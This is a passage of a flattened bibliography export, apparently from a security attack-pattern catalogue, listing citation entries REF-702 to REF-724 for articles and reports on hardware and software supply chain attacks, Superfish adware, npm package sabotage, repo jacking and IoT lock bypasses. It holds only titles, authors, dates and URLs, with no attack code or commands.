https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf + + + + + 2022-02-17 + + + + + + + + + + + + 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https://www.admin-magazine.com/Archive/2014/19/Using-the-ATA-security-features-of-modern-hard-disks-and-SSDs + + + + + 2022-02-16 + + + + + + + + + + + + #indExternalReferenceBreakingATAPasswordSecurity + Breaking ATA Password Security + + + + + + + + + REF-702 + + + + + Breaking ATA Password Security + + + + + The University of Texas at Austin Information Security Office + + + + + https://security.utexas.edu/education-outreach/BreakingATA + + + + + 2022-02-16 + + + + + + + + + + + + #indExternalReferenceCounterfeitIntegratedCircuitsARisingThreatInTheGlobalSemiconductorSupplyChain + Counterfeit Integrated Circuits: A Rising Threat in the Global Semiconductor Supply Chain + + + + + + + + + REF-703 + + + + + Ujjwal Guin + + + + + Ke Huang + + + + + Daniel DiMase + + + + + John M. Carulli, Jr. + + + + + Mohammad Tehranipoor + + + + + Yiorgos Makris + + + + + Counterfeit Integrated Circuits: A Rising Threat in the Global Semiconductor Supply Chain + + + + + Proceedings of the IEEE + + + + + 2014 + + + + + IEEE + + + + + https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6856206 + + + + + 2022-02-15 + + + + + + + + + + + + #indExternalReferenceDevCorruptsNPMLibsColorsAndFakerBreakingThousandsOfApps + Dev corrupts NPM libs 'colors' and 'faker' breaking thousands of apps + + + + + + + + + REF-704 + + + + + Ax Sharma + + + + + Dev corrupts NPM libs 'colors' and 'faker' breaking thousands of apps + + + + + 2022 + + + + + 1 + + + + + 9 + + + + + BleepingComputer + + + + + https://www.bleepingcomputer.com/news/security/dev-corrupts-npm-libs-colors-and-faker-breaking-thousands-of-apps/ + + + + + 2022-02-16 + + + + + + + + + + + + #indExternalReferenceMaliciousModificationsToOpenSourceProjectsAffectingThousands + Malicious modifications to open source projects affecting thousands + + + + + + + + + REF-705 + + + + + Alberto Pellitteri + + + + + Malicious modifications to open source projects affecting thousands + + + + + 2022 + + + + + 1 + + + + + 12 + + + + + SysDig + + + + + https://sysdig.com/blog/malicious-modifications-detection-sysdig/ + + + + + 2022-02-16 + + + + + + + + + + + + #indExternalReferenceChefManageDeserializesCookieDataInsecurely + Chef Manage deserializes cookie data insecurely + + + + + + + + + REF-706 + + + + + Chef Manage deserializes cookie data insecurely + + + + + 2016 + + + + + 5 + + + + + 17 + + + + + Carnegie Mellon University + + + + + https://www.kb.cert.org/vuls/id/586503 + + + + + 2022-02-16 + + + + + + + + + + + + #indExternalReferenceHowLenovoSSuperfishMalwareWorksAndWhatYouCanDoToKillIt + How Lenovo's Superfish 'Malware' Works And What You Can Do To Kill It + + + + + + + + + REF-707 + + + + + Thomas Brewster + + + + + How Lenovo's Superfish 'Malware' Works And What You Can Do To Kill It + + + + + 2015 + + + + + 2 + + + + + 19 + + + + + Forbes + + + + + https://www.forbes.com/sites/thomasbrewster/2015/02/19/superfish-need-to-know/?sh=991ab8c38776 + + + + + 2022-02-16 + + + + + + + + + + + + #indExternalReferenceLenovoPCsShipWithManInTheMiddleAdwareThatBreaksHTTPSConnections + Lenovo PCs ship with man-in-the-middle adware that breaks HTTPS connections + + + + + + + + + REF-708 + + + + + Dan Goodin + + + + + Lenovo PCs ship with man-in-the-middle adware that breaks HTTPS connections + + + + + 2015 + + + + + 2 + + + + + 19 + + + + + Ars Technica + + + + + https://arstechnica.com/information-technology/2015/02/lenovo-pcs-ship-with-man-in-the-middle-adware-that-breaks-https-connections/ + + + + + 2022-02-16 + + + + + + + + + + + + #indExternalReferenceExtractingTheSuperFishCertificate + Extracting the SuperFish certificate + + + + + + + + + REF-709 + + + + + Rob Graham + + + + + Extracting the SuperFish certificate + + + + + 2015 + + + + + 2 + + + + + 19 + + + + + Errata Security + + + + + https://blog.erratasec.com/2015/02/extracting-superfish-certificate.html#.VOX5Ky57RqE + + + + + 2022-02-16 + + + + + + + + + + + + #indExternalReferenceFakeMicrosoftUpdateUsedInMaliciousEmailAttackCampaign + Fake Microsoft update used in malicious email attack campaign + + + + + + + + + REF-710 + + + + + Sean Endicott + + + + + Fake Microsoft update used in malicious email attack campaign + + + + + 2021 + + + + + 7 + + + + + Microsoft News + + + + + https://www.msn.com/en-us/news/technology/fake-microsoft-update-used-in-malicious-email-attack-campaign/ar-AALTcVs + + + + + 2022-02-16 + + + + + + + + + + + + #indExternalReferenceShatteredTrustWhenReplacementSmartphoneComponentsAttack + Shattered Trust: When Replacement Smartphone Components Attack + + + + + + + + + REF-711 + + + + + Omer Shwartz + + + + + Amir Cohen + + + + + Asaf Shabtai + + + + + Yossi Oren + + + + + Shattered Trust: When Replacement Smartphone Components Attack + + + + + 11th USENIX Workshop on Offensive Technologies + + + + + 2017 + + + + + USENIX + + + + + https://www.usenix.org/system/files/conference/woot17/woot17-paper-shwartz.pdf + + + + + 2022-02-16 + + + + + + + + + + + + #indExternalReferenceGuardingAgainstSupplyChainAttacks—Part2HardwareRisks + Guarding against supply chain attacks—Part 2: Hardware risks + + + + + + + + + REF-712 + + + + + Cristin Goodwin + + + + + Joram Borenstein + + + + + Guarding against supply chain attacks—Part 2: Hardware risks + + + + + 2020 + + + + + 2 + + + + + 3 + + + + + Microsoft + + + + + https://www.microsoft.com/security/blog/2020/02/03/guarding-against-supply-chain-attacks-part-2-hardware-risks/ + + + + + 2022-02-17 + + + + + + + + + + + + #indExternalReferenceTheBigHackHowChinaUsedATinyChipToInfiltrateUDotSDotCompanies + The Big Hack: How China Used a Tiny Chip to Infiltrate U.S. Companies + + + + + + + + + REF-713 + + + + + Jordan Robertson + + + + + Michael Riley + + + + + The Big Hack: How China Used a Tiny Chip to Infiltrate U.S. Companies + + + + + 2018 + + + + + 10 + + + + + 4 + + + + + Bloomberg + + + + + https://www.bloomberg.com/news/features/2018-10-04/the-big-hack-how-china-used-a-tiny-chip-to-infiltrate-america-s-top-companies + + + + + 2022-02-17 + + + + + + + + + + + + #indExternalReferenceOperationWiltedTulipExposingACyberEspionageApparatus + Operation Wilted Tulip: Exposing a cyber espionage apparatus + + + + + + + + + REF-714 + + + + + Operation Wilted Tulip: Exposing a cyber espionage apparatus + + + + + 2017 + + + + + 7 + + + + + ClearSky cyber security and Trend Micro + + + + + https://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf + + + + + 2022-02-17 + + + + + + + + + + + + #indExternalReferenceHowToSecureYourDocuments + How To Secure Your Documents + + + + + + + + + REF-715 + + + + + Marie Prokopets + + + + + How To Secure Your Documents + + + + + Nira + + + + + https://nira.com/how-to-secure-your-documents/ + + + + + 2022-02-21 + + + + + + + + + + + + #indExternalReferenceSupplyChainAttacks + Supply chain attacks + + + + + + + + + REF-716 + + + + + Daniel Simpson + + + + + Dani Halfin + + + + + Andrews Mariano Gorzelany + + + + + Beth Woodbury + + + + + Supply chain attacks + + + + + 2021 + + + + + 10 + + + + + 28 + + + + + Microsoft + + + + + https://docs.microsoft.com/en-us/windows/security/threat-protection/intelligence/supply-chain-malware + + + + + 2022-02-21 + + + + + + + + + + + + #indExternalReferenceDisposingOfDevicesSafely + Disposing of Devices Safely + + + + + + + + + REF-717 + + + + + Linda Pesante + + + + + Christopher King + + + + + George Silowash + + + + + Disposing of Devices Safely + + + + + 2012 + + + + + CISA United States Computer Emergency Readiness Team (US-CERT) + + + + + https://www.cisa.gov/uscert/sites/default/files/publications/DisposeDevicesSafely.pdf + + + + + 2022-02-21 + + + + + + + + + + + + #indExternalReferenceSupplyChainRisksForInformationAndCommunicationTechnology + Supply Chain Risks for Information and Communication Technology + + + + + + + + + REF-718 + + + + + Supply Chain Risks for Information and Communication Technology + + + + + 2018 + + + + + 12 + + + + + Cyber and Infrastructure Security Agency (CISA) + + + + + https://www.cisa.gov/sites/default/files/publications/19_0424_cisa_nrmc_supply-chain-risks-for-information-and-communication-technology.pdf + + + + + 2022-07-26 + + + + + + + + + + + + #indExternalReferenceUnverifiedCommitsAreYouUnknowinglyTrustingAttackers’Code? + Unverified Commits: Are You Unknowingly Trusting Attackers’ Code? + + + + + + + + + REF-719 + + + + + Aviad Gershon + + + + + Unverified Commits: Are You Unknowingly Trusting Attackers’ Code? + + + + + 2022 + + + + + 7 + + + + + 15 + + + + + Checkmarx + + + + + https://checkmarx.com/blog/unverified-commits-are-you-unknowingly-trusting-attackers-code/ + + + + + 2022-08-12 + + + + + + + + + + + + #indExternalReferenceHackersCanSpoofCommitMetadataToCreateFalseGitHubRepositories + Hackers can spoof commit metadata to create false GitHub repositories + + + + + + + + + REF-720 + + + + + Deeba Ahmed + + + + + Hackers can spoof commit metadata to create false GitHub repositories + + + + + 2022 + + + + + 7 + + + + + 17 + + + + + HackRead + + + + + https://www.hackread.com/hackers-spoof-commit-metadata-false-github-repositories/ + + + + + 2022-08-12 + + + + + + + + + + + + #indExternalReferenceStarJacking–MakingYourNewOpenSourcePackagePopularInASnap + StarJacking – Making Your New Open Source Package Popular in a Snap + + + + + + + + + REF-721 + + + + + Tzachi Zornstein + + + + + StarJacking – Making Your New Open Source Package Popular in a Snap + + + + + 2022 + + + + + 4 + + + + + 19 + + + + + Checkmarx + + + + + https://checkmarx.com/blog/starjacking-making-your-new-open-source-package-popular-in-a-snap/ + + + + + 2022-08-12 + + + + + + + + + + + + #indExternalReferenceRepoJackingExploitingTheDependencySupplyChain + Repo Jacking: Exploiting the Dependency Supply Chain + + + + + + + + + REF-722 + + + + + Indiana Moreau + + + + + Repo Jacking: Exploiting the Dependency Supply Chain + + + + + 2020 + + + + + 10 + + + + + 22 + + + + + Security Innovation + + + + + https://www.concretecms.org/about/project-news/security/supply-chain-hack-phpass-repo-jacking + + + + + 2022-09-09 + + + + + + + + + + + + #indExternalReferenceAlarmBellsRingTheIoTIsListening + Alarm bells ring, the IoT is listening + + + + + + + + + REF-723 + + + + + Alex Scroxton + + + + + Alarm bells ring, the IoT is listening + + + + + 2019 + + + + + 12 + + + + + 13 + + + + + TechTarget + + + + + https://www.computerweekly.com/news/252475324/Alarm-bells-ring-the-IoT-is-listening + + + + + 2022-09-08 + + + + + + + + + + + + #indExternalReferenceBadNewsKeyWeSmartLockIsEasilyBypassedAndCanTBeFixed + Bad news: KeyWe Smart Lock is easily bypassed and can't be fixed + + + + + + + + + REF-724 + + + + + Matthew Hughes + + + + + Bad news: KeyWe Smart Lock is easily bypassed and can't be fixed + + + + + 2019 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